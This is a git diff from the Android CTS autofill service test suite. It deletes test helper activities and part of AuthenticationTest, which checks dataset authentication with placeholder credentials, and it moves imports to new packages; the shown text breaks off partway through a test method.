--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractWebViewTestCase.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import org.junit.AfterClass;
-import org.junit.BeforeClass;
-
-public abstract class AbstractWebViewTestCase<A extends AbstractWebViewActivity>
-        extends AutoFillServiceTestCase.AutoActivityLaunch<A> {
-
-    protected AbstractWebViewTestCase() {
-    }
-
-    protected AbstractWebViewTestCase(UiBot inlineUiBot) {
-        super(inlineUiBot);
-    }
-
-    // TODO(b/64951517): WebView currently does not trigger the autofill callbacks when values are
-    // set using accessibility.
-    protected static final boolean INJECT_EVENTS = true;
-
-    @BeforeClass
-    public static void setReplierMode() {
-        sReplier.setIdMode(IdMode.HTML_NAME);
-    }
-
-    @AfterClass
-    public static void resetReplierMode() {
-        sReplier.setIdMode(IdMode.RESOURCE_ID);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AllAutofillableViewsActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AllAutofillableViewsActivity.java
deleted file mode 100644
index 10cc322..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AllAutofillableViewsActivity.java
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.os.Bundle;
-import androidx.annotation.Nullable;
-
-public class AllAutofillableViewsActivity extends AbstractAutoFillActivity {
-    @Override
-    protected void onCreate(@Nullable Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.all_autofill_able_views_activity);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AntiTrimmerTextWatcher.java b/tests/autofillservice/src/android/autofillservice/cts/AntiTrimmerTextWatcher.java
deleted file mode 100644
index af713d3..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AntiTrimmerTextWatcher.java
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.text.Editable;
-import android.text.TextWatcher;
-import android.widget.EditText;
-
-import java.util.regex.Pattern;
-
-/**
- * A {@link TextWatcher} that appends pound signs ({@code #} at the beginning and end of the text.
- */
-public final class AntiTrimmerTextWatcher implements TextWatcher {
-
-    /**
-     * Regex used to revert a String that was "anti-trimmed".
-     */
-    public static final Pattern TRIMMER_PATTERN = Pattern.compile("#(.*)#");
-
-    private final EditText mView;
-
-    public AntiTrimmerTextWatcher(EditText view) {
-        mView = view;
-        mView.addTextChangedListener(this);
-    }
-
-    @Override
-    public void onTextChanged(CharSequence s, int start, int before, int count) {
-        mView.removeTextChangedListener(this);
-        mView.setText("#" + s + "#");
-    }
-
-    @Override
-    public void beforeTextChanged(CharSequence s, int start, int count, int after) {
-    }
-
-    @Override
-    public void afterTextChanged(Editable s) {
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivity.java
deleted file mode 100644
index 097967e..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivity.java
+++ /dev/null
@@ -1,74 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.content.Context;
-import android.content.res.Configuration;
-import android.content.res.Resources;
-import android.os.Bundle;
-import android.widget.EditText;
-
-import java.util.Locale;
-
-/**
- * Simple activity that attaches a new base context.
- */
-public class AttachedContextActivity extends AbstractAutoFillActivity {
-    static final String ID_INPUT = "input";
-
-    EditText mInput;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.simple_save_activity);
-
-        mInput = findViewById(R.id.input);
-    }
-
-    @Override
-    protected void attachBaseContext(Context newBase) {
-        final Context localContext = applyLocale(newBase, "en");
-        super.attachBaseContext(localContext);
-    }
-
-    private Context applyLocale(Context context, String language) {
-        final Resources resources = context.getResources();
-        final Configuration configuration = resources.getConfiguration();
-        configuration.setLocale(new Locale(language));
-        return context.createConfigurationContext(configuration);
-    }
-
-    FillExpectation expectAutoFill(String input) {
-        final FillExpectation expectation = new FillExpectation(input);
-        mInput.addTextChangedListener(expectation.mInputWatcher);
-        return expectation;
-    }
-
-    final class FillExpectation {
-        private final OneTimeTextWatcher mInputWatcher;
-
-        private FillExpectation(String input) {
-            mInputWatcher = new OneTimeTextWatcher("input", mInput, input);
-        }
-
-        void assertAutoFilled() throws Exception {
-            mInputWatcher.assertAutoFilled();
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivityTest.java
index 97ed220..9d2f2b3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivityTest.java
@@ -16,7 +16,11 @@
 
 package android.autofillservice.cts;
 
-import android.autofillservice.cts.AttachedContextActivity.FillExpectation;
+import android.autofillservice.cts.activities.AttachedContextActivity;
+import android.autofillservice.cts.activities.AttachedContextActivity.FillExpectation;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
 
 import org.junit.Test;
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
deleted file mode 100644
index 7ddfccc..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
+++ /dev/null
@@ -1,287 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.CannedFillResponse.ResponseType.NULL;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.Activity;
-import android.app.PendingIntent;
-import android.app.assist.AssistStructure;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentSender;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.Looper;
-import android.os.Parcelable;
-import android.util.Log;
-import android.util.SparseArray;
-import android.view.autofill.AutofillManager;
-import android.widget.Button;
-import android.widget.EditText;
-
-import com.google.common.base.Preconditions;
-
-import java.util.ArrayList;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * This class simulates authentication at the dataset at reponse level
- */
-public class AuthenticationActivity extends AbstractAutoFillActivity {
-
-    private static final String TAG = "AuthenticationActivity";
-    private static final String EXTRA_DATASET_ID = "dataset_id";
-    private static final String EXTRA_RESPONSE_ID = "response_id";
-
-    /**
-     * When launched with this intent, it will pass it back to the
-     * {@link AutofillManager#EXTRA_CLIENT_STATE} of the result.
-     */
-    private static final String EXTRA_OUTPUT_CLIENT_STATE = "output_client_state";
-
-
-    private static final int MSG_WAIT_FOR_LATCH = 1;
-    private static final int MSG_REQUEST_AUTOFILL = 2;
-
-    private static Bundle sData;
-    private static final SparseArray<CannedDataset> sDatasets = new SparseArray<>();
-    private static final SparseArray<CannedFillResponse> sResponses = new SparseArray<>();
-    private static final ArrayList<PendingIntent> sPendingIntents = new ArrayList<>();
-
-    private static Object sLock = new Object();
-
-    // Guarded by sLock
-    private static int sResultCode;
-
-    // Guarded by sLock
-    // Used to block response until it's counted down.
-    private static CountDownLatch sResponseLatch;
-
-    // Guarded by sLock
-    // Used to request autofill for a autofillable view in AuthenticationActivity
-    private static boolean sRequestAutofill;
-
-    private Handler mHandler;
-
-    private EditText mPasswordEditText;
-    private Button mYesButton;
-
-    static void resetStaticState() {
-        setResultCode(null, RESULT_OK);
-        setRequestAutofillForAuthenticationActivity(/* requestAutofill */ false);
-        sDatasets.clear();
-        sResponses.clear();
-        for (int i = 0; i < sPendingIntents.size(); i++) {
-            final PendingIntent pendingIntent = sPendingIntents.get(i);
-            Log.d(TAG, "Cancelling " + pendingIntent);
-            pendingIntent.cancel();
-        }
-    }
-
-    /**
-     * Creates an {@link IntentSender} with the given unique id for the given dataset.
-     */
-    public static IntentSender createSender(Context context, int id, CannedDataset dataset) {
-        return createSender(context, id, dataset, null);
-    }
-
-    public static IntentSender createSender(Context context, int id,
-            CannedDataset dataset, Bundle outClientState) {
-        Preconditions.checkArgument(id > 0, "id must be positive");
-        Preconditions.checkState(sDatasets.get(id) == null, "already have id");
-        sDatasets.put(id, dataset);
-        return createSender(context, EXTRA_DATASET_ID, id, outClientState);
-    }
-
-    /**
-     * Creates an {@link IntentSender} with the given unique id for the given fill response.
-     */
-    public static IntentSender createSender(Context context, int id,
-            CannedFillResponse response) {
-        return createSender(context, id, response, null);
-    }
-
-    public static IntentSender createSender(Context context, int id,
-            CannedFillResponse response, Bundle outData) {
-        Preconditions.checkArgument(id > 0, "id must be positive");
-        Preconditions.checkState(sResponses.get(id) == null, "already have id");
-        sResponses.put(id, response);
-        return createSender(context, EXTRA_RESPONSE_ID, id, outData);
-    }
-
-    private static IntentSender createSender(Context context, String extraName, int id,
-            Bundle outClientState) {
-        final Intent intent = new Intent(context, AuthenticationActivity.class);
-        intent.putExtra(extraName, id);
-        if (outClientState != null) {
-            Log.d(TAG, "Create with " + outClientState + " as " + EXTRA_OUTPUT_CLIENT_STATE);
-            intent.putExtra(EXTRA_OUTPUT_CLIENT_STATE, outClientState);
-        }
-        final PendingIntent pendingIntent = PendingIntent.getActivity(context, id, intent, 0);
-        sPendingIntents.add(pendingIntent);
-        return pendingIntent.getIntentSender();
-    }
-
-    /**
-     * Creates an {@link IntentSender} with the given unique id.
-     */
-    public static IntentSender createSender(Context context, int id) {
-        Preconditions.checkArgument(id > 0, "id must be positive");
-        return PendingIntent
-                .getActivity(context, id, new Intent(context, AuthenticationActivity.class),
-                        PendingIntent.FLAG_CANCEL_CURRENT)
-                .getIntentSender();
-    }
-
-    public static Bundle getData() {
-        final Bundle data = sData;
-        sData = null;
-        return data;
-    }
-
-    /**
-     * Sets the value that's passed to {@link Activity#setResult(int, Intent)} when on
-     * {@link Activity#onCreate(Bundle)}.
-     */
-    public static void setResultCode(int resultCode) {
-        synchronized (sLock) {
-            sResultCode = resultCode;
-        }
-    }
-
-    /**
-     * Sets the value that's passed to {@link Activity#setResult(int, Intent)}, but only calls it
-     * after the {@code latch}'s countdown reaches {@code 0}.
-     */
-    public static void setResultCode(CountDownLatch latch, int resultCode) {
-        synchronized (sLock) {
-            sResponseLatch = latch;
-            sResultCode = resultCode;
-        }
-    }
-
-    public static void setRequestAutofillForAuthenticationActivity(boolean requestAutofill) {
-        synchronized (sLock) {
-            sRequestAutofill = requestAutofill;
-        }
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.authentication_activity);
-
-        mPasswordEditText = findViewById(R.id.password);
-        mYesButton = findViewById(R.id.yes);
-        mYesButton.setOnClickListener(view -> doIt());
-
-        mHandler = new Handler(Looper.getMainLooper(), (m) -> {
-            switch (m.what) {
-                case MSG_WAIT_FOR_LATCH:
-                    waitForLatchAndDoIt();
-                    break;
-                case MSG_REQUEST_AUTOFILL:
-                    requestFocusOnPassword();
-                    break;
-                default:
-                    throw new IllegalArgumentException("invalid message: " + m);
-            }
-            return true;
-        });
-
-        if (sResponseLatch != null) {
-            Log.d(TAG, "Delaying message until latch is counted down");
-            mHandler.dispatchMessage(mHandler.obtainMessage(MSG_WAIT_FOR_LATCH));
-        } else if (sRequestAutofill) {
-            mHandler.dispatchMessage(mHandler.obtainMessage(MSG_REQUEST_AUTOFILL));
-        } else {
-            doIt();
-        }
-    }
-
-    private void requestFocusOnPassword() {
-        syncRunOnUiThread(() -> mPasswordEditText.requestFocus());
-    }
-
-    private void waitForLatchAndDoIt() {
-        try {
-            final boolean called = sResponseLatch.await(5, TimeUnit.SECONDS);
-            if (!called) {
-                throw new IllegalStateException("latch not called in 5 seconds");
-            }
-            doIt();
-        } catch (InterruptedException e) {
-            Thread.interrupted();
-            throw new IllegalStateException("interrupted");
-        }
-    }
-
-    private void doIt() {
-        // We should get the assist structure...
-        final AssistStructure structure = getIntent().getParcelableExtra(
-                AutofillManager.EXTRA_ASSIST_STRUCTURE);
-        assertWithMessage("structure not called").that(structure).isNotNull();
-
-        // and the bundle
-        sData = getIntent().getBundleExtra(AutofillManager.EXTRA_CLIENT_STATE);
-        final CannedFillResponse response =
-                sResponses.get(getIntent().getIntExtra(EXTRA_RESPONSE_ID, 0));
-        final CannedDataset dataset =
-                sDatasets.get(getIntent().getIntExtra(EXTRA_DATASET_ID, 0));
-
-        final Parcelable result;
-
-        if (response != null) {
-            if (response.getResponseType() == NULL) {
-                result = null;
-            } else {
-                result = response.asFillResponse(/* contexts= */ null,
-                        (id) -> Helper.findNodeByResourceId(structure, id));
-            }
-        } else if (dataset != null) {
-            result = dataset.asDataset((id) -> Helper.findNodeByResourceId(structure, id));
-        } else {
-            throw new IllegalStateException("no dataset or response");
-        }
-
-        // Pass on the auth result
-        final Intent intent = new Intent();
-        intent.putExtra(AutofillManager.EXTRA_AUTHENTICATION_RESULT, result);
-
-        final Bundle outClientState = getIntent().getBundleExtra(EXTRA_OUTPUT_CLIENT_STATE);
-        if (outClientState != null) {
-            Log.d(TAG, "Adding " + outClientState + " as " + AutofillManager.EXTRA_CLIENT_STATE);
-            intent.putExtra(AutofillManager.EXTRA_CLIENT_STATE, outClientState);
-        }
-
-        final int resultCode;
-        synchronized (sLock) {
-            resultCode = sResultCode;
-        }
-        Log.d(TAG, "Returning code " + resultCode);
-        setResult(resultCode, intent);
-
-        // Done
-        finish();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationTest.java b/tests/autofillservice/src/android/autofillservice/cts/AuthenticationTest.java
deleted file mode 100644
index 200e184..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationTest.java
+++ /dev/null
@@ -1,1192 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.app.Activity.RESULT_CANCELED;
-import static android.app.Activity.RESULT_OK;
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.UNUSED_AUTOFILL_VALUE;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.LoginActivity.getWelcomeMessage;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-import static android.view.View.IMPORTANT_FOR_AUTOFILL_NO;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.assist.AssistStructure.ViewNode;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.content.IntentSender;
-import android.os.Bundle;
-import android.platform.test.annotations.AppModeFull;
-import android.support.test.uiautomator.UiObject2;
-import android.view.View;
-import android.view.autofill.AutofillValue;
-
-import org.junit.Test;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.regex.Pattern;
-
-public class AuthenticationTest extends AbstractLoginActivityTestCase {
-
-    @Test
-    public void testDatasetAuthTwoFields() throws Exception {
-        datasetAuthTwoFields(false);
-    }
-
-    @Test
-    @AppModeFull(reason = "testDatasetAuthTwoFields() is enough")
-    public void testDatasetAuthTwoFieldsUserCancelsFirstAttempt() throws Exception {
-        datasetAuthTwoFields(true);
-    }
-
-    private void datasetAuthTwoFields(boolean cancelFirstAttempt) throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Prepare the authenticated response
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .build());
-
-        // Configure the service behavior
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
-                        .setPresentation(createPresentation("Tap to auth dataset"))
-                        .setAuthentication(authentication)
-                        .build())
-                .build());
-
-        // Set expectation for the activity
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("Tap to auth dataset");
-
-        // Make sure UI is show on 2nd field as well
-        final View password = mActivity.getPassword();
-        requestFocusOnPassword();
-        callback.assertUiHiddenEvent(username);
-        callback.assertUiShownEvent(password);
-        mUiBot.assertDatasets("Tap to auth dataset");
-
-        // Now tap on 1st field to show it again...
-        requestFocusOnUsername();
-        callback.assertUiHiddenEvent(password);
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("Tap to auth dataset");
-
-        if (cancelFirstAttempt) {
-            // Trigger the auth dialog, but emulate cancel.
-            AuthenticationActivity.setResultCode(RESULT_CANCELED);
-            mUiBot.selectDataset("Tap to auth dataset");
-            callback.assertUiHiddenEvent(username);
-            callback.assertUiShownEvent(username);
-            mUiBot.assertDatasets("Tap to auth dataset");
-
-            // Make sure it's still shown on other fields...
-            requestFocusOnPassword();
-            callback.assertUiHiddenEvent(username);
-            callback.assertUiShownEvent(password);
-            mUiBot.assertDatasets("Tap to auth dataset");
-
-            // Tap on 1st field to show it again...
-            requestFocusOnUsername();
-            callback.assertUiHiddenEvent(password);
-            callback.assertUiShownEvent(username);
-        }
-
-        // ...and select it this time
-        AuthenticationActivity.setResultCode(RESULT_OK);
-        mUiBot.selectDataset("Tap to auth dataset");
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testDatasetAuthTwoFields() is enough")
-    public void testDatasetAuthTwoFieldsReplaceResponse() throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Prepare the authenticated response
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                new CannedFillResponse.Builder().addDataset(
-                        new CannedDataset.Builder()
-                                .setField(ID_USERNAME, "dude")
-                                .setField(ID_PASSWORD, "sweet")
-                                .setPresentation(createPresentation("Dataset"))
-                                .build())
-                        .build());
-
-        // Set up the authentication response client state
-        final Bundle authentionClientState = new Bundle();
-        authentionClientState.putCharSequence("clientStateKey1", "clientStateValue1");
-
-        // Configure the service behavior
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, (AutofillValue) null)
-                        .setField(ID_PASSWORD, (AutofillValue) null)
-                        .setPresentation(createPresentation("Tap to auth dataset"))
-                        .setAuthentication(authentication)
-                        .build())
-                .setExtras(authentionClientState)
-                .build());
-
-        // Set expectation for the activity
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-
-        // Authenticate
-        callback.assertUiShownEvent(username);
-        mUiBot.selectDataset("Tap to auth dataset");
-        callback.assertUiHiddenEvent(username);
-
-        // Select a dataset from the new response
-        callback.assertUiShownEvent(username);
-        mUiBot.selectDataset("Dataset");
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        final Bundle data = AuthenticationActivity.getData();
-        assertThat(data).isNotNull();
-        final String extraValue = data.getString("clientStateKey1");
-        assertThat(extraValue).isEqualTo("clientStateValue1");
-    }
-
-    @Test
-    @AppModeFull(reason = "testDatasetAuthTwoFields() is enough")
-    public void testDatasetAuthTwoFieldsNoValues() throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Create the authentication intent
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .build());
-
-        // Configure the service behavior
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, (String) null)
-                        .setField(ID_PASSWORD, (String) null)
-                        .setPresentation(createPresentation("Tap to auth dataset"))
-                        .setAuthentication(authentication)
-                        .build())
-                .build());
-
-        // Set expectation for the activity
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-
-        // Authenticate
-        callback.assertUiShownEvent(username);
-        mUiBot.selectDataset("Tap to auth dataset");
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testDatasetAuthTwoFields() is enough")
-    public void testDatasetAuthTwoDatasets() throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Create the authentication intents
-        final CannedDataset unlockedDataset = new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .build();
-        final IntentSender authentication1 = AuthenticationActivity.createSender(mContext, 1,
-                unlockedDataset);
-        final IntentSender authentication2 = AuthenticationActivity.createSender(mContext, 2,
-                unlockedDataset);
-
-        // Configure the service behavior
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
-                        .setPresentation(createPresentation("Tap to auth dataset 1"))
-                        .setAuthentication(authentication1)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
-                        .setPresentation(createPresentation("Tap to auth dataset 2"))
-                        .setAuthentication(authentication2)
-                        .build())
-                .build());
-
-        // Set expectation for the activity
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-
-        // Authenticate
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("Tap to auth dataset 1", "Tap to auth dataset 2");
-
-        mUiBot.selectDataset("Tap to auth dataset 1");
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testDatasetAuthTwoFields() is enough")
-    public void testDatasetAuthMixedSelectAuth() throws Exception {
-        datasetAuthMixedTest(true);
-    }
-
-    @Test
-    @AppModeFull(reason = "testDatasetAuthTwoFields() is enough")
-    public void testDatasetAuthMixedSelectNonAuth() throws Exception {
-        datasetAuthMixedTest(false);
-    }
-
-    private void datasetAuthMixedTest(boolean selectAuth) throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Prepare the authenticated response
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .build());
-
-        // Configure the service behavior
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("Tap to auth dataset"))
-                        .setAuthentication(authentication)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "DUDE")
-                        .setField(ID_PASSWORD, "SWEET")
-                        .setPresentation(createPresentation("What, me auth?"))
-                        .build())
-                .build());
-
-        // Set expectation for the activity
-        if (selectAuth) {
-            mActivity.expectAutoFill("dude", "sweet");
-        } else {
-            mActivity.expectAutoFill("DUDE", "SWEET");
-        }
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-
-        // Authenticate
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("Tap to auth dataset", "What, me auth?");
-
-        final String chosenOne = selectAuth ? "Tap to auth dataset" : "What, me auth?";
-        mUiBot.selectDataset(chosenOne);
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testDatasetAuthFilteringUsingRegex() is enough")
-    public void testDatasetAuthNoFiltering() throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Create the authentication intents
-        final CannedDataset unlockedDataset = new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .build();
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                unlockedDataset);
-
-        // Configure the service behavior
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
-                        .setPresentation(createPresentation("Tap to auth dataset"))
-                        .setAuthentication(authentication)
-                        .build())
-                .build());
-
-        // Set expectation for the activity
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-
-        // Make sure it's showing initially...
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("Tap to auth dataset");
-
-        // ..then type something to hide it.
-        mActivity.onUsername((v) -> v.setText("a"));
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Now delete the char and assert it's shown again...
-        mActivity.onUsername((v) -> v.setText(""));
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("Tap to auth dataset");
-
-        // ...and select it this time
-        mUiBot.selectDataset("Tap to auth dataset");
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testDatasetAuthFilteringUsingRegex() is enough")
-    public void testDatasetAuthFilteringUsingAutofillValue() throws Exception {
-        // Set service.
-        enableService();
